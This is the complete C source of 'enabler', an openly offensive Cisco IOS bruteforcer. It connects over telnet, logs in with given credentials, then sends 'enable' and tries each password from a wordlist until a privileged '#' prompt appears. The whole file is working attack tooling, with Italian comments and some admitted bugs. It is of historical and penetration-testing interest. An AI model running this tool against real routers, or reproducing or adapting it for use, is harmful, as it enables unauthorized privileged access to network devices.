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Enabler, cisco enable bruteforcer
/*
enabler.
Cisco IOS privileged EXEC bruteforcer
Year: 2001
Included in Linux Backtrack v2
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>
#define BOX "\033[0m\033[34;1m[\033[0m\033[37;1m`\033[0m\033[34;1m]"
struct sockaddr_in addr;
char host[100];
struct hostent *hp;
int sock_stat;
int n,x;
char **password;
char resolve(char *inputhost) {
int a,b,c,d;
if (sscanf(inputhost,"%d.%d.%d.%d",&a,&b,&c,&d) !=4) {
hp = gethostbyname(inputhost);
if (hp == NULL) { printf("%s error on host resolving\n\033[0m\n", BOX); exit(0); }
sprintf(host,"%d.%d.%d.%d",(unsigned char)hp->h_addr_list[0][0],
(unsigned char)hp->h_addr_list[0][1],
(unsigned char)hp->h_addr_list[0][2],
(unsigned char)hp->h_addr_list[0][3]);
}
else { strncpy(host,inputhost,100); }
}
int sock(char *hostoresolve,int port) {
int err;
sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock_stat<0) { printf("%s error opening socket\n\033[0m\n", BOX); exit(0); }
addr.sin_family = PF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(host);
err = connect(sock_stat, (struct sockaddr *) &addr, sizeof(addr));
if (err < 0) { printf("%s error opening connection\n\033[0m\n", BOX); exit(0); }
}
int banner() {
printf("\n%s enabler.\n", BOX);
printf("%s cisco internal bruteforcer. concept by anyone\n", BOX);
printf("%s coded by norby\n", BOX);
}
int usage(char *argv) { printf("%s usage: %s <ip> [-u user] <pass> <passlist> [port]\n\n\033[0m", BOX, argv); }
void sig() {
if(n>0) { printf("%s %i passwords tryed. no password matching. leaving\n",BOX,n); }
printf("\n\033[0m"); exit(0);
}
int login(char *login, char *pass) {
char *input = malloc(4000);
int reqlogin;
while (read (sock_stat, input, 4000) > 0) {
if(strstr(input,"ogin:")||strstr(input,"sername:")) {
if(!strcmp(login,"n0login")) {
printf("%s username needed... give me a username next time :)\n\n\033[0m", BOX);
exit(0);
}
printf("%s login requested. sending [%s] and [%s]\n", BOX, login, pass); reqlogin=1; break;
}
if(strstr(input,"assword:")) { printf("%s only password needed. sending [%s]\n", BOX, pass); reqlogin=0; break; }
bzero(input,4000);
}
if(reqlogin==1) {
write(sock_stat,login,strlen(login));
write(sock_stat,"\r\n",2);
while(read(sock_stat,input,4000)>0) {
if(strstr(input,"assword")); { break; }
}
}
write(sock_stat,pass,strlen(pass));
write(sock_stat,"\r\n",2);
sleep(2);
bzero(input,4000);
while (read (sock_stat, input, 4000) > 0) {
if(strstr(input,">")) { printf("%s seems we are logged in :)\n", BOX); break; }
/* if(strstr(input,"assword:")) {
printf("%s sorry... [%s] is not a good password for login :�\n\033[0m\n",BOX,pass); exit(0);
}*/
if(strstr(input,"sername:")) {
printf("%s sorry... [%s] is not a good password for login :�\n\033[0m\n",BOX,pass); exit(0);
}
bzero(input,4000);
}
}
int loadwordlist(char *list) {
FILE *passlist;
char buf[32], fake;
int i,z;
if ((passlist = fopen(list, "r")) == NULL) {
printf("%s sorry, unable to open the passlist [%s]\n\033[0m\n", BOX,list);
exit(0);
}
(void)fseek(passlist, 0L, SEEK_END); // cazz questo e' uno smanettamento mentale
password = malloc(ftell(passlist)); // per fare allocare solo la memoria giusta x la passlist :P
if(password == NULL) {
printf("%s sorry, can't allocate memory for passlist. buy more ram or cut the passlist\n\033[0m\n",BOX);
exit(0);
}
(void)fseek(passlist, 0L, SEEK_SET);
while (!feof(passlist)) {
fgets(buf, 32, passlist);
if (buf[0] == '#' || buf[0] == '\n') continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n'||buf[i] == '\r') buf[i] = '\0';
password[x] = malloc(32);
strcpy(password[x], buf);
memset(buf, 0, 32);
x++;
}
password[x] = 0x0;
fclose(passlist);
if(x<4) { printf("%s sorry, but passlist must contain at least 3 passwords. leaving \n\033[0m\n",BOX); exit(0); }
}
int brute() { // there is a stupid error... the last password is tryed 2 times... must be fixed... ;)
char *input = malloc(100);
int N;
bzero(input,100);
write(sock_stat,"enable",6);
write(sock_stat,"\r\n",2);
while(1) {
while(read(sock_stat,input,100)>0) {
if(n==x) { printf("%s %i passwords tried. no valid password found in the passlist\n\033[0m\n",BOX,n-1); exit(0); }
if(n+1==x) break;
if(strstr(input,"assword:")||strstr(input,"#")||strstr(input,">")) break;
bzero(input,100);
}
if(strstr(input,"#")) { printf("%s possible password found: %s\n\033[0m\n",BOX,password[n-1]); exit(0); }
if(strstr(input,"assword:")) {
write(sock_stat,password[n],strlen(password[n]));
write(sock_stat,"\r\n",2);
n++;
bzero(input,100);
if(n>1) printf("%s %s... wrong password\n", BOX, password[n-2]); fflush(stdout);
continue;
}
if(strstr(input,">")) {
write(sock_stat,"enable\r\n",8); bzero(input,100);
}
}
}
int main(int argc, char *argv[]) {
int port;
signal(SIGINT, sig);
banner();
if((argc<=3)||(argc>=8)) { usage(argv[0]); exit(0); }
if(!strcmp(argv[2],"-u")) {
if(argc==6) { port=atoi("23"); }
else { port=atoi(argv[6]); } // c'e' uno stupido errore qua di argc che nn ho voglia di trovare
// c'ho cosetta nella testa :� -- Corretto :)
printf("%s\n",BOX);
loadwordlist(argv[5]);
resolve(argv[1]);
sock(host, port);
login(argv[3],argv[4]);
brute();
}
else {
if(argc==4) { port=atoi("23"); }
else { port=atoi(argv[4]); }
printf("%s\n",BOX);
loadwordlist(argv[3]);
resolve(argv[1]);
sock(host, port);
login("n0login",argv[2]);
brute();
}
}
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